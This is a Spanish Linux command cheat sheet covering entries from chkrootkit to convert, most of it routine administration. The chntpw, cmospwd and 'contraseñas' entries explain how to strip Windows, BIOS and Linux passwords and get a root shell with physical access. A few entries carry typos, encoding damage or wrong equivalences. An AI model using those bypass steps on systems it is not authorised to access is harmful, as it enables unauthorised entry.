# chkrootkit
lanzar la aplicación
```

```
# chkrootkit -l
visualizar las opciones de escaneo
```

```
# chkrootkit sshd tcpd
verificar solo dos opciones
```

```
# chkrootkit -q
sólo mostrar los archivos conflictivos
```

```
# chkrootkit -x
puede examinar cadenas sospechosas en los programas binarios que pueden indicar un troyano
```

## chkservice

Systemd es un daemon del sistema que permite administrar los servicios que corren en la distribución Linux y se trata de un reemplazo de init que se ha convertido en estándar. En realidad chkservice hace lo mismo que systemctl para administrar dichos servicios.

```
# chkservice
```

La información que muestra en la primera línea indica:

```
[x] (unidad habilitada)
[ ] (unidad deshabilitada)
[s] (unidad estática)
-m- (unidad enmascarada)
=   (unidad que se ha detenido)
>   (unidad funcionando)
Claves para interactuar con los servicios:
```

```
r      (Actualizar o recargar información)
Space  (Habilitar o deshabilitar una unidad)
s      (Iniciar o detener una unidad)
q      (salir)
```

## chkwtmp

[chkrootkit]. Examina el archivo /var/log/wtmp en busca de entradas sin información y que solo contengan bytes nulos. Si se encuentran tales entradas las imprime.

```
# chkwtmp
Verificar alteración de logs. Si no muestra nada: bien
```

## chmod

Gestión de permisos de los ficheros y directorios.

```
$ chmod ugo+rwX -R /home/usuario/directorio
todos los permisos a todos los usuarios sobre el directorio y subdirectorios
```

```
$ chmod 777 -R /home/usuario/directorio
Equivalente en octal
```

```
$ chmod a+w archivo
permiso de escritura para todos
```

```
$ chmod 222 -R /home/usuario/directorio
Equivalente en octal
```

## C

```
$ chmod -w archivo
```

Quitar permiso de escritura a un archivo

```
$ chmod +x archivo
```

Dar permiso de ejecución

```
$ chmod 744 archivo
```

Lectura, escritura y ejecución para el usuario y sólo lectura para el grupo y otros

```
$ chmod u=rwx,go=r archivo
```

Equivalente en alfabético

```
$ chmod --reference=file1 file2
```

Otorgar los mismos permisos de file1 a file2

Código numérico (octal):

```
1 = ejecución [x]
2 = escritura [w]
3 (1+2) = escritura y ejecución [xw]
4 = lectura [r]
5 (4+1) = lectura y ejecución [rx]
6 (4+2) = lectura y escritura [rw]
7 (4+2+1) = lectura, escritura y ejecución [wxr]
```

Código alfabético:

r (lectura), w (escritura), x (ejecución)

u (usuario), g (grupo), o (otros), a (para todos)

Nota.- Cuando un directorio está marcado como ejecutable [x] significa que se puede mirar dentro [ls] o entrar en él [cd]

1.-

Los permisos de un directorio web [/var/www/html/...] se aconseja que sean 755 para los directorios y subdirectorios y 644 para los ficheros.

## chntpw

Quitar o modificar contraseñas en sistemas windows.

```
# cd /media/sdXX/WINDOWS/system32/config
```

Entrar en el directorio

```
# chntpw SAM
```

quitar o modificar la contraseña del administrador

```
# chntpw -u USUARIO SAM
```

quitar o modificar la contraseña de un usuario concreto

Aparece un menú de 5 opciones. Borrar contraseña es la opción 1 modificarla la 2.

## choose

Proporciona una manera de extraer datos de archivos de texto.

```
$ cat archivo.txt | choose 4
```

Imprima el quinto elemento de todas las línea del texto especificado. "0" sería el primero

```
$ cat /etc/passwd | choose --field-separator ':' 0 2 4
```

Imprima el primer, tercer y quinto elementos de cada línea, donde los elementos están separados por ':' en lugar de espacios en blanco

```
$ cat archivo.txt | choose 1:4
```

imprime desde el segundo al quinto elemento de cada línea, incluido el quinto

## C

```
$ cat archivo.txt | choose :2
Imprime desde el comienzo de cada línea hasta el tercer elemento
```

```
$ cat archivo.txt | choose --exclusive :2
Imprimir desde el principio de cada línea hasta el segundo elemento excluyendo a partir del
tercero
```

```
$ cat archivo.txt | choose 2:
Imprimir todos los elementos desde el tercero hasta el final de cada línea
```

```
$ cat archivo.txt | choose -1
Imprima el último elemento de cada línea
```

## chown

Cambio de propietario de un archivo o directorio.

```
# chown usuario archivo
# chown -R usuario directorio
afecta al directorio y todos los subdirectorios
# chown -R usuario:grupo directorio
# chown --reference=file1 file2
Mismo propietario y grupo para file2 que file1
```

## chpasswd

Establecer contraseñas para usuarios de un sistema

```
# echo "usuario:1234" | chpasswd -m
Que la guarde en /etc/shadow en formato md5
# chpasswd (Esperará la introducción de datos que consistiran en pares de nombre_de_usuario:
contraseña, un par por línea. Con ctrl+D finaliza:
```

```
usuario1:passwd1
```

```
usuario2:passwd2
```

## chromium

Navegador web. El perfil por defecto está en /home/usuario/.config/chromium, para crear nuevos perfiles [El inicio del parámetro son 2 guiones]:

```
$ mkdir /home/usuario/.config/chromium-dos
$ chromium --user-data-dir=/home/usuario/.config/chromium-dos
$ chromium --proxy-server="socks://localhost:9050"
Arrancar la aplicación a través de un proxy
$ chromium --incognito
Arrancar en modo privado. Para incluir por defecto este modo en las propiedades del navegador:
chromium --incognito %U
```

## chronic

[moreutils]. Mostrará el error por la salida estándar si el comando falla, tiene salida nula o se bloquea. Si el comando se ejecuta correctamente se ocultará cualquier salida.

```
$ chronic ls
No mostrará nada porque el comando ls se ejecuta correctamente
```

```
$ chronic lx
Mostrará el error
```

```
$ chronic man
Mostrará que necesita otro dato
```

## chrony

Sincronizar el reloj del sistema. Primero incluir los servidores en el archivo de configuración:

```
# nano /etc/chrony/chrony.conf
```

Añadir las líneas:

```
pool 3.es.pool.ntp.org iburst
pool ntp.redimadrid.es iburst
pool europe.pool.ntp.org iburst
```

Reiniciar el servicio y comprobar que está activo:

```
# systemctl restart chronyd
```

```
# systemctl status chronyd
```

```
# chronyc makestep
forzar la sincronización
```

```
# chronyc tracking
comprobar el seguimiento
```

```
# chronyc sources
ver una lista de las fuentes de servidores de hora
```

## chroot

Situarte virtualmente donde le indicas como raíz.

```
# chroot /media/sda3
```

1.-

Ejemplo de un proceso para restituir grub2 despues de una instalación de un windows:

Arrancar el live cd, abrir consola y (Asumimos que la partición que tiene el grub a instalar es la sda5:

```
$ sudo su
# mkdir /media/sda5
# mount /dev/sda5 /media/sda5
# mount -o bind /dev/ /media/sda5/dev/
# mount -o bind /sys/ /media/sda5/sys/
# mount -o bind /proc/ /media/sda5/proc/
# chroot /media/sda5
# update-grub
# grub-install /dev/sda
Si precisamos conexión y esta no se realiza:
```

```
# nano /etc/resolv.conf
```

Y colocar: nameserver 8.8.8.8

O en su defecto la ip del router [nameserver 192.168.1.1]

## chsh

Permite cambiar la shell del usuario especificado o del sistema.

```
$ cat /etc/shells
Mostrar las shells disponibles en el sistema
```

```
$ chsh -s /bin/tcsh usuario
```

## chvt

Cambiar de consola virtual. Si, estando en la /dev/tty1, se teclea:

```
$ chvt 3
Se irá a la /dev/tty3. Lo mismo que con Ctrl+Alt+F3
```

```
$ chvt 1; sleep 10; chvt 7
Ir a la tty1 durante 10 segundos y volver a las X
```

Nota.- Si se está en una terminal en las X con el mismo comando se irá a la misma terminal /dev/tty3 .

## cifsiostat

[sysstat]. Muestra estadísticas sobre las operaciones de lectura y escritura en los sistemas de archivos CIFS. Podría decirse que CIFS es una versión más reciente de SMB.

```
# cifsiostat -m 2 3
en megabites por segundo cada 2 segundos y 3 informes
```

## cjb2

Convierte formatos .PBM o .TIFF a DJVU

```
$ cjb2 -dpi 500 entrada.pbm salida.djvu
especificando resolución [parámetros entre 25 y 1200. Por defecto 300]
```

## cjpeg

Convierte formatos PPM, PGM, BMP, Targa y RLE a jpeg.

```
$ cjpeg -grayscale -quality 60 archivo.ppm > nuevo.jpg
a escala de grises y con una calidad de 60 [ por defecto 75]
```

## ck-history

Listado de los logeos en el sistema [tty, pts, ssh...]

```
$ ck-history --frequent
```

```
$ ck-history --last-compat
```

```
$ ck-history --last | less
```

## ck-list-sessions

Listado de sesiones abiertas en la máquina.



## cksum

Suma de comprobación y número de bytes de un archivo.

```
$ cksum archivo
```

## clamav

Detecta troyanos, virus, malware y otras amenazas maliciosas.

```
# freshclam -v
actualizar la lista de virus viendo detalles
```

```
# freshclam -d -c 24
arranca el demonio que actualizará clamav 24 veces diarias- Maximo 50 veces diarias
```

```
# clamscan -ri
Sin especificar directorio, escanear el del usuario
```

```
# clamscan -ri --remove /home/usuario
escanea el directorio usuario y borra directamente los archivos infectados
```

```
# clamscan -r -l test_clamav.txt
manda el resultado a un archivo
```

```
# clamscan -v -r --bell --move=/home/usuario/cuarentena --log=/var/log/clamav/clamav.log /media/win
```

```
# sigtool --list-sigs > list
listado de virus y troyanos que detecta
```

```
# clamdtop
monitorear análisis con ncurses
```

```
# clamconf
muestra la configuración completa
```

Opciones:

```
-v (muestra la información)
-r (revisa directorios y subdirectorios)
--bell (aviso sonoro al detectar un virus)
--move (confina los virus en el directorio especificado)
-l (guarda los logs en el archivo especificado)
-i (solo mostrará los archivos infectados)
-d (arrancar en modo demonio)
Archivo de logs: /var/log/clamav/clamav.log
```

Configuración: /etc/clamav/clamd.conf

Reconfigurar paquete: # dpkg-reconfigure clamav-base

1.-

Para asegurarse de que clamav y las definiciones estén instaladas correctamente, se puede escanear el archivo de prueba EICAR [una firma inofensiva sin código de virus]:

```
$ curl https://secure.eicar.org/eicar.com.txt | clamscan -
```

La salida debe incluir:

```
stdin: Win.Test.EICAR_HDB-1 FOUND
```

## clamscan

Ver clamav

## clear

Limpiar la terminal.

## clear\_console

[bash]. Borra la consola tty. Equivalente a C-l

## clex

Administrador de archivos. Para cerrar el programa pulsar "Esc Q"

Algunas teclas de control:

```
Ctrl-c (salir de cada una de las opciones siguientes)
alt-m (menú principal)
alt-w (Cambiar de directorio)
alt-s (Cambiar el tipo de visualización)
alt-/ (entrar en el directorio raiz)
alt-~ o alt-` (Entrar en el directorio $HOME)
ctrl-r (Actualizar panel)
F4 (Editar archivo [vim])
F5 (Copiar)
F8 (Borrar)
```

## clinfo

Imprime la información disponible sobre todas las plataformas OpenCL disponibles en el sistema y los dispositivos que exponen. Enumera todas las plataformas posibles y propiedades del dispositivo inspirado por el programa de AMD del mismo nombre e intenta generar toda la información posible

```
$ cinfo -l
enumerar plataformas y dispositivos por nombre, sin otras propiedades
```

## clive

Descarga de videos de youtube.

```
$ clive http://video -O titulo
Dándole un titulo al vídeo
```

## cloc

Cuenta líneas de código, líneas en blanco y líneas con comentarios en varios leguajes de programación.

```
$ cloc script.sh
$ cloc archivo.tar.gz
$ cloc --by-file dir/
de todos los scripts de un directorio

$ clod --out=info.txt
guardar la salida en un fichero
```

## colores

Cuadro de colores. Las primeras dos cifras [0;30] afectan al color de las letras de la terminal, las segundas [0;40], una decena superior que las anteriores, corresponden al color de fondo.

Negro	0;30	0;40
Gris Oscuro	1;30	1;40
Rojo	0;31	0;41
Rojo Claro	1;31	1;41
Verde	0;32	0;42
Verde Claro	1;32	1;42
Café	0;33	0;43
Amarillo	1;33	1;43
Azul	0;34	0;44
Azul Claro	1;34	1;44
Purpura	0;35	0;45
Fucsia	1;35	1;45
Cyan	0;36	0;46
Cyan Claro	1;36	1;46
Gris Claro	0;37	0;47
Blanco	1;37	1;47

Nota.- Si se omite el el 0 o el 1 por defecto es el 0

Algunso ejemplos:

```
$ echo -e "\e[1;33;44mlinux es un sistema genial"
En azul toda la linea
```

```
$ echo -e "\e[0;34mAtención:\e[1;32m linux es un\e[0;31m sistema genial"
En azul, verde y rojo sin fondo
```

```
$ echo -e "\e[1;33;40mLinux es un sistema genial"
En amarillo y con fondo gris toda la linea
```

```
$ echo -e "\e[1;37;1;41mLinux es un sistema genial\e[0m"
En blanco y fondo rojo hasta el final del texto ...\e[0m"
```

```
$ echo -e "\e[33;40mAtención:\e[34;41m linux es un\e[37;42m sistema genial\e[0m"
café con fondo gris, azul y fondo rojo y blanco con fondo verde y terminando el colorido al final
del texto
```

## cmake

Opciones de compilación de binarios. Substituto de ./configure. Se encarga de encontrar todas las dependencias necesarias y las opciones personalizadas de compilación

```
# cmake -L
Ver listado de opciones
```

```
# cmake -LHA
Complementar el listado con una descripción breve y visualizar las variables privadas
```

## cmatrix

Salvapantallas estilo matrix

```
$ cmatrix -u 9 -B -C blue (A velocidad lenta [0-9], usando todos los caracteres y especificando
color [green, red, blue, white, yellow, cyan, magenta y black]
```

Nota.- Si durante la ejecución se pulsan las teclas siguientes, se cambia al color indicado:

```
! (rojo) @ (verde) # (amarillo) $ (azul) % (magenta) ^ (cyan) & (blanco) ) (negro)
```

## cmospwd

Averiguar la contraseña de la BIOS. Arrancar con un cd-live [System rescue] y modificar la entrada del kernel del menú de opciones de grub para iniciar una shell [rw init=/bin/bash]

```
# cmospwd /d
pasar la información por pantalla
```

```
# cmospwd /k
resetear
```

```
# cmospwd /d /w bios.back
copia de seguridad
```

```
# cmospwd /l bios.back
Ver el contenido de la copia de seguridad
```

```
# cmospwd /r bios.back
restablecer la copia de seguridad
```

## cmp

Compara dos ficheros octeto a octeto.

```
$ cmp fichero1 fichero2
```

## cmus

Reproductor de música.

```
$ cmus --plugins
Listado de plugins disponibles
```

```
$ cmus
```

Algunas teclas de control:

```
1 (Muestra la biblioteca)
2 (Muestra la biblioteca ordenada según los criterios del usuario)
4 (Muestra la cola de pistas que se reproducirá)
5 (Navegar por los directorios)
7 (Muestra todas las teclas de control)
enter (reproducir la canción)
+ (Sube el volumen un 10%)
- (Baja el volumen un 10%)
a (Añadir canción al listado)
b (siguiente canción)
c (Pausar la reproducción)
i (Estando con la opción 5, muestra los directorios ocultos)
r (Repetir canción)
q (salir)
```

Para empezar agregar la ruta al directorio de música:

```
:add ~/música/
Listado de temas de colores disponibles en /usr/share/cmus. Para modificar el esquema de colores:
```

```
:colorscheme cyan
Para que el cambio sea permanente:
```

```
$ nano .cmus/rc
```

Y colocar la línea:

```
colorscheme cyan
```

## cnetworkmanager

Información sobre conexiones de red

```
$ cnetworkmanager -d
información sobre las tarjetas de red
```

```
$ cnetworkmanager -c
conexión activa
```

```
$ cnetworkmanager -s
lista todas la conexiones guardadas
```

```
$ cnetworkmanager -u
Lista configuración de usuario de la conexión
```

```
$ cnetworkmanager --state
estado de la conexión
```

```
$ cnetworkmanager -a
Lista puntos de acceso
```

```
$ cnetworkmanager -w true/false
activar/desactivar la conexión
```

## codificación

[de caracteres]. En documentos html, colocar según proceda al inicio del documento la línea:

```
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
```

```
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
```

## col

Normalmente este comando se utiliza para eliminar caracteres raros o no necesarios relacionados con el formato al imprimir a txt páginas man.

```
$ man less | col -b > less.txt
```

## collectd

Demonio que recopila información del sistema periódicamente. Las estadísticas se actualizan cada 10 segundos de forma predeterminada y pueden modificarse en el archivo `/etc/collectd/collectd.conf`. Ejemplos de configuraciones en `/usr/share/doc/collectd/examples/`. Los datos recogidos se visualizan en `http://localhost/server-status`

```
# systemctl start collectd.service
pide contraseña de forma gráfica y activa el demonio
```

## colordiff

Muestra las diferencias entre dos ficheros de forma coloreada.

```
$ colordiff -y archivo1 archivo2
en dos columnas
```

## colordiff-git

[apt-listdifferences]. Mismo resultado que diff con coloreado de sintaxis.

```
$ colordiff-git archivo1 archivo2
```

## colored\_dmesg

Como dmesg pero coloreado. En algunas distros el gui3n en medio [colored-dmesg]

```
$ colored_dmesg
```

## colorized-logs

Colorea la salida de algunas herramientas tales como: ansi2html[ver], ansi2txt[ver], lesstty, pipetty y ttyrec2ansi

```
$ pipetty dmesg
```

## colormake

Esta herramienta analiza el resultado de make para colorearlo y facilitar su lectura. Contiene dos ejecutables: colormake y clmake que se pueden invocar en lugar de make con salida coloreada [configure, clmake, clmake install].

## colormgr

Ver y cambiar el perfil de color a las asignaciones de dispositivos. RGB es una escala relativa que normalmente tiene s3lo 256 estados por canal.

```
$ colormgr get-devices display
listados de todos los dispositivos
```

```
$ colormgr get-devices-by-kind display
del monitor. Sustituir "display" por printer, scanner, webcam...
```

## colortest

Incluye un conjunto de utilidades para ayudar a probar cu3ntos colores puede mostrar un terminal. Estas configuraciones de color dependen de la variable de entorno \$TERM y de la entrada termcap

```
$ colortest-8
```

```
$ colortest-256
```

```
$ colortest-16
```

## colortest-python

El programa detecta autom3ticamente las capacidades de color y muestra las tablas de colores apropiadas. La aplicaci3n es similar a colortest.

```
$ colortest-python -b
```

```
$ colortest-python -l
con el c3digo RGB
```

```
$ colortest-python -n
con los n3meros de escape [del 0 al 256]
```

```
$ colortest-python -x
con el n3mero exadecimal
```

## colrm

Corta columnas de un texto.

```
$ cat /etc/passwd | colrm 10
Corta desde el caracter número 10 al final de la línea
```

```
$ cat /etc/passwd | colrm 10 50
Borra los caracteres del 10 al 50. Sólo deja los 10 primeros y los del 50 al final
```

## column

Muestra los resultados ordenados por columnas.

```
$ column -tns: /etc/passwd
con los dos puntos como separador
```

```
$ mount | column -t
```

## combine

[moreutils]. Cuatro formas de combinar dos archivos.

```
$ combine archivo1 and archivo2
Las líneas que están en los dos archivos
```

```
$ combine archivo1 not archivo2
Las que estan en archivo1 pero no en archivo2
```

```
$ combine archivo1 or archivo2
Las que están en archivo1 o archivo2
```

```
$ combine archivo1 xor archivo2
Las que se encuentran en cualquiera de los dos pero no en ambos
```

## comillas

. Simples (El contenido no es interpretado por el shell. Se suele usar para indica caracteres literales)

```
$ echo 'a'
a
. Dobles (Agrupa una cadena de caracteres o string. Se suelen usar para almacenar datos en una variable)
```

```
a="Linux es un sistema genial"
. Invertidas (Evaluan el contenido y el resultado se devuelve como variable)
```

```
$ fecha=`date`
echo $fecha
dg mar 17 20:53:17 CET 2013
```

## comm

Comparación de dos ficheros. Muestra tres columnas, en la primera están las líneas que solo estan en el primer archivo, en la segunda los que solo están en el segundo y la tercera los comunes.

```
$ comm archivo1 archivo2
```

```
$ comm -12 archivo 1 archivo2 (Elimina las columnas 1 y 2. Solo muestra la 3, o sea las líneas comunes)
```

## command

Cuando introducimos un comando en Bash el orden de preferencia en la búsqueda del símbolo por parte de Bash es: Primero las funciones, luego los comandos internos y por último los ficheros de scripts y ejecutables. `command` hace que no se busquen alias ni nombres de funciones, sólo comandos internos y comandos de fichero. Si tenemos una función llamada `ls()` y queremos que se ejecute el comando `ls` y no la función:

```
$ command ls
```

## command-not-found

Activar las sugerencias sobre el paquete que puede tener un comando que erramos en la ortografía o no está instalado en el sistema y muestra la salida: "command not found":

```
# update-command-not-found
Recargar la base de datos
```

```
$ lt
The program 'lt' is currently not installed. To run 'lt' please ask your administrator to
install the package 'looptools'
lt: command not found
```

## comodines

Ver signos y comodines

## comparepdf

Comparar dos archivos pdf.

```
$ comparepdf archivo1.pdf archivo2.pdf
```

## compgen

Comando para listar comandos disponibles.

```
$ compgen -c
Lista todos los comandos
```

```
$ compgen -ac
lista de todos los comandos y alias
```

```
$ compgen -a
Lista los alias
```

```
$ compgen -b
lista los comandos internos de bash
```

```
$ compgen -k
lista palabras reservadas
```

```
$ compgen -A function
lista las funciones
```

```
$ compgen -c | grep sudo
las que hacen referencia a sudo
```

```
$ compgen -a
```

```
$ compgen -c ls
```

```
$ compgen -c rm
```

```
$ compgen -A signal
```



## compilar

[libncurses libncurses-fdev build-essential]. Instalar aplicaciones a partir del código fuente. Los comandos standard que se utilizan son: `./configure`, `make`, `sudo make install` y han de ejecutarse desde el directorio que contiene las fuentes. `Configure` y `make` se pueden ejecutar como usuario normal, pero `make install` generalmente se tiene que ejecutar como administrador por cuestión de permisos.

El script `configure` [configuración] sirve para comprobar las dependencias y las versiones de las librerías del paquete a instalar creando el archivo `makefile` que constituye la base de la compilación. Si `configure` falla no se creará `makefile`. `Configure`, normalmente, puede ejecutarse con algunos parámetros que, en caso de existir, se especifican en el fichero `INSTALL` o `README` y que siempre acompaña al paquete de las fuentes. También puede ejecutarse:

```
$ ./configure --help
```

para listar los parámetros que se pueden usar. Si en el paquete de fuentes a instalar ya existe un archivo `makefile` no habrá el `configure` y consecuentemente si se lanza `./configure` dará error [No existe el fichero ó directorio] en estos casos puede pasarse directamente al `make`. Algunas opciones para `configure`:

```
$ ./configure --prefix=/usr (donde instalar el programa)
```

```
$ ./configure --sysconfdir=/etc (donde colocar los archivos de configuración)
```

```
$ ./configure --localstatedir=/var/lib (donde colocar las librerías)
```

El `make` se encarga de leer el `makefile` donde se indica los archivos a compilar y el orden en el que deben ser compilados. La ejecución de `make` genera varios archivos necesarios para la compilación y que pueden ser eliminados, ya sea al final del proceso o si este ha de reiniciarse por algún error, con:

```
$ make clean
```

Si el archivo `makefile` no se ha borrado, una vez instalado el programa, puede eliminarse con:

```
$ make uninstall
```

`make install` instala el paquete en el sistema. Una mejor opción a `make install` es usar `checkinstall`, lo cual crea un paquete `.deb` que constará en el listado de programas instalados con lo que se facilitará su desinstalación ya sea por `synaptic` o `apt-get`.

## compiz

efectos escritorio.

```
$ compiz --replace
activar los efectos
```

```
$ metacity --replace
Desactivar los efectos
```

## composite

[imagemagick]. Mezclar dos imágenes por consola

```
$ composite -geometry 96x96+250+70 delante.jpg fondo.jpg imagen.jpg
```

```
$ composite -dissolve 50 -gravity Center una.png dos.png salida.png
```

```
$ composite -tile una.png dos.png salida.png (Cubre la dos.png con imágenes una.png)
```

```
$ composite -dissolve 60% una.jpg dos.jpg output
transparencia del 60%
```

```
$ composite -blend 0x0 -gravity south uno.png dos.png -alpha set salida.png
funde dos imágenes en una transparencia completa
```

```
$ composite -blend 0x80 imagen -size 70x46 xc:'#808080' -alpha on salida
controlar la transparencia de una imagen
```

## C

```
$ composite -watermark 20% -gravity SouthWest marca.png imagen salida.png
Poner una marca de agua 20% difuminada abajo a la izquierda
```

opciones:

dissolve.- Indica el grado de fusión entre una y otra imagen.

gravity .- Indica dónde se mezclan las imágenes. Valores: SouthWest, North, NorthEast, West, Center, East, SouthWest, South y SouthEast

## compress

Comprimir archivos. Substituye el fichero original añadiendole .Z. Este comando es el compresor original de Unix. Su algoritmo de compresión es bastante primitivo, pero se mantiene por razones históricas de compatibilidad.

```
$ compress fichero.txt
Crearé fichero.txt.Z
```

```
$ uncompress fichero.txt.Z
Descomprimir
```

## compton

Agregar transparencias, sombras, marcos... a las ventanas . Todos los parámetros pueden establecerse creando el archivo .compton.conf

```
$ compton &
Empleará los parámetros por defecto
```

```
$ compton -c
Para aplicar sombras
```

```
$ compton -cC
Que las sombras no afecten a los paneles y docks
```

```
$ compton -cC -i 0.6 -e 0.6
especificar la transparencia de las ventanas inactivas y los marcos
```

```
$ compton -cC -i 0.6 -e 0.6 -fF
habilitar efectos suaves de transición en ventanas y menús
```

```
$ compton -cC -i 0.6 -e 0.6 -fF -I 0.065 -O 0.065 -D 6
Especificar tiempo de opacidad al desvanecerse las ventanas
```

```
$ compton -cC -i 0.6 -e 0.6 -fF -I 0.065 -O 0.065 -D 6 -m 0.8
Especificar la opacidad de los menús
```

## concalc

Calculadora.

```
$ concalc 5*3
Sin especificar números se accede al prompt interactivo
```

## conky

[conky-all lm-sensors hddtemp]. Monitor de sistema. Permite visualizar el estado de la CPU, memoria, espacio de intercambio, de almacenamiento en el disco duro, temperaturas, procesos, interfaces de red, así como el estado de la batería y algunas otras funciones que se le pueden configurar en el archivo ~/.conkyrc

```
$ cp /etc/conky/conky.conf ~/.conkyrc
```

```
$ conky
```

Arrancar la aplicación. Se muestra en el escritorio

```
$ conky -d
```

arrancarla como daemon

## connmanctl

Esta aplicación puede ejecutarse en dos modos: una entrada de comandos síncrona simple y una shell interactiva asíncrona. Para ejecutar un comando específico el usuario puede introducir connmanctl comando [opciones] o simplemente connmanctl, en este último caso se iniciará un shell interactivo. Connmanctl puede manejar la mayoría de las conexiones de red. Se puede utilizar para activar/desactivar cualquier tecnología que exista en el sistema, mostrar una lista de servicios disponibles, conectar/desconectar redes, mostrar propiedades del sistema, las tecnologías y cualquier servicio individual y configurar todas las propiedades. También es capaz de monitorizar los cambios en las propiedades de los servicios, las tecnologías y el sistema.

```
$ connmanctl state
```

```
$ connmanctl technologies
```

```
$ connmanctl enable wifi
```

```
$ connmanctl services
```

```
$ connmanctl vpnconnections
```

## conntrack

Permite replicar el estado de las conexiones que están siendo actualmente procesadas por el firewall. Conntrackd también puede ejecutarse como daemon de estadísticas.

```
# conntrack -C
```

Para contar el número total de conexiones de red en este momento

```
# conntrack -E -e NEW
```

monitorear las conexiones de red recién creadas como eventos en tiempo real

```
# conntrack -L -p tcp --state ESTABLISHED
```

mostrar conexiones TCP abiertas

```
# conntrack -L -p udp --dport 500
```

mostrar conexiones UDP con el puerto de destino 500

```
# conntrack -E -e NEW -p tcp --dport 22
```

monitorear nuevas conexiones SSH en tiempo real

## conntrackd

Proporciona una interfaz flexible para el sistema de seguimiento de conexiones que /proc/net/ip\_conntrack. Puede replicar el estado de las conexiones que actualmente procesa el firewall.

```
# conntrackd -d
```

Ejecuta en modo daemon

```
# conntrackd -s
```

volcar las estadísticas recopiladas por el daemon

```
# conntrackd -i
```

## C

```
Volcar los estados contenidos en la memoria caché interna, es decir, los manejados por este firewall
```

```
# conntrackd -e
Volcar los estados contenidos en la memoria caché externa, es decir, aquellos manejados por otros firewalls
```

```
$ conntrackd -c
convierte la caché interna en el sistema de seguimiento de la conexión del núcleo
```

```
$ conntrackd -k
matar el demonio
```

```
$ conntrackd -s network
muestra las conexiones de red
```

## consolation

Este paquete es un daemon que proporciona soporte para copiar, pegar y desplazarse en la consola de Linux. Se basa en la biblioteca libinput y admite todos los dispositivos de puntero y configuraciones proporcionadas por esta biblioteca. Una vez instalado, con dos clics del ratón selecciona la palabra sobre la que está el puntero y con 3, toda la línea.

```
$ systemctl status consolation
comprobar si está activo
```

## consolechars

Modificar las fuentes en las consolas [tty1-6]

```
# consolechars -f fuentes
```

Nota.- Listado en /usr/share/consolefonts , /usr/lib/kbd/consolefonts, /usr/share/kbd/consolefonts según distro

## conspy

Acceso a las tty1-6 en local o remoto.

```
# conspy 1
entra en la tty1
```

Para salir pulsar tres veces seguidas la tecla Esc

## continue

Salta a la siguiente interacción en un bucle for, select, while o until. En el siguiente ejemplo se imprime del 1 al 5 pero saltándose el 3:

```
#!/bin/bash
for contador in 1 2 3 4 5
do
    if [ "$contador" -eq 3 ]
    then
        continue
    fi
    echo "$contador"
done
```

## contraseñas

1.-

Eliminar contraseña de root. Iniciar sesión con un live-cd y montar la partición del disco duro [ suponemos /dev/sda2]

```
# mount /dev/sda2 /media/sda2
# gedit /dev/sda2/etc/passwd
Y en la línea: root:x:0:0:root/root:/bin/bash
```

Borrar la x, dejandola asi: root::0:0:root/root:/bin/bash y repetir la operación con el usuario normal.

Reiniciar

Activar root en gdm [parecido con otros selectores de sesión: lightdm, xdm...]

```
# gedit /etc/gdm/gdm.conf
Cambiar la línea: AllowRoot=false por AllowRoot=true
```

```
# passwd root
Entrar la contraseña
```

2.-

Cambiar el tiempo en que el sistema "olvidará" la contraseña después de un sudo:

```
# nano /etc/sudoers
Y añadir la línea: Defaults timestamp_timeout = 5
```

Donde el 5 es el tiempo en minutos que la contraseña será guardada.

3.-

Otra forma para cuando se pierde la contraseña

Entrar con un cd live y visualizar /etc/shadow del sistema instalado y buscar el usuario. La estructura es parecida a:

```
pepe:$1$YpVptTE9$jNPgevJ8IjHyAqh0h04V4.:13277:0:99999:7:::
```

Borrar lo que sigue al nombre del usuario para que quede:

```
pepe::13277:0:99999:7:::
```

de este modo el usuario no tendrá contraseña y cuando se pida, dar al intro. Tras reiniciar, cuando aparezca el menu de grub, situarse con el cursor en la línea del kernel que se quiera usar. Pulsar 'e' para editar la entrada y editar la línea kernel [pulsando 'e' de nuevo]. Añadir al final de la línea lo siguiente:

```
init=/bin/bash
```

Esto hace que el sistema arranque una shell root sin pedir password. Es posible que el teclado esté en inglés. Pulsar 'b' para comenzar el arranque del kernel. La partición raíz suele montarse como sólo lectura, así que se deberá montar como lectura/escritura:

```
# mount -o remount,rw /dev/hda2
```

Por último, cambiar la clave de root ejecutando:

```
# passwd root
```

4.-

Establecer norma en el sistema de que la contraseña tenga como mínimo 8 caracteres:

```
# nano /etc/pam.d/common-password
```

Y dejar la línea:

```
password [success=2 default=ignore] pam_unix.so obscure sha512 min=8
```

Página donde comprobar la fortaleza de una contraseña: <<https://howsecureismypassword.net/>>

## control-

[^c, ^z] Cancelar o suspender la ejecución de comandos en primer plano.

Cancelar:

```
$ sleep 5000
^C
```

Suspender:

```
$ sleep 5000
^Z
[1]+  Detenido          sleep 5000
```

Nota.- En caso de volver a llevar a primer plano un comando detenido:

```
$ fg %1
En caso de querer continuar con su ejecución en segundo plano:
```

```
$ bg %1
```

## convert

[imagemagick]. Redimensionar, cambiar formatos, extraer fotogramas, convertir blanco y negro imágenes. Este comando es tan extenso que él solo merecería un libro. Consulta más exhaustiva en <<http://www.imagemagick.org/script/convert.php>> o en español <[http://www.rpublica.net/imagemagick/intro.html#inicio\\_sec](http://www.rpublica.net/imagemagick/intro.html#inicio_sec)>

```
$ convert *.jpg imagenes.pdf
Crear un pdf con todas las imágenes
```

```
$ convert {1,2,3,4,5,6,7,8,9}.png imagenes.pdf
Lo mismo especificando páginas y orden
```

```
$ convert color.jpg -monochrome blanconeegro.jpg
Convertir a blanco y negro
```

```
$ convert original.png nueva.jpg
Cambiar el formato de una imagen
```

```
$ convert --auto-orient in.jpg out.jpg
Reorientar una foto
```

```
$ convert -resize 800x600 *.jpg %02d.jpg
Cambiar dimensiones de todas
```

```
$ convert -quality 40% imagen image_reducida
lo mismo
```

```
$ convert -delay 60 1.jpg 2.jpg 3.jpg 123.gif
gif animado con varios jpg
```

```
$ convert -geometry 400 -delay 100 -loop 0 *.JPG resultado.gif
Otra forma de gif animado con varios parámetros
```

```
$ convert -delay 200 -quality 20 -size 200 -loop 0 *.jpg resultado.gif
Otra forma de gif con todas las fotos del directorio
```

```
$ convert 123.gif -adjoin 1-2-3.jpg
extraer los fotogramas de un gif
```

```
$ convert -resize 200 awk.pdf[0] awk.png
primera imagen pdf a imagen
```

```
$ convert file.pdf file.jpg
convertir pdf en jpg
```

```
$ convert imagen.png -pointsize 32 -gravity center -annotate 0 "Linux es genial" salida.png
Colocar un texto con medida 32 sin inclinación [-annotate 0] en el centro [-gravity center] de una imagen
```

## C

```
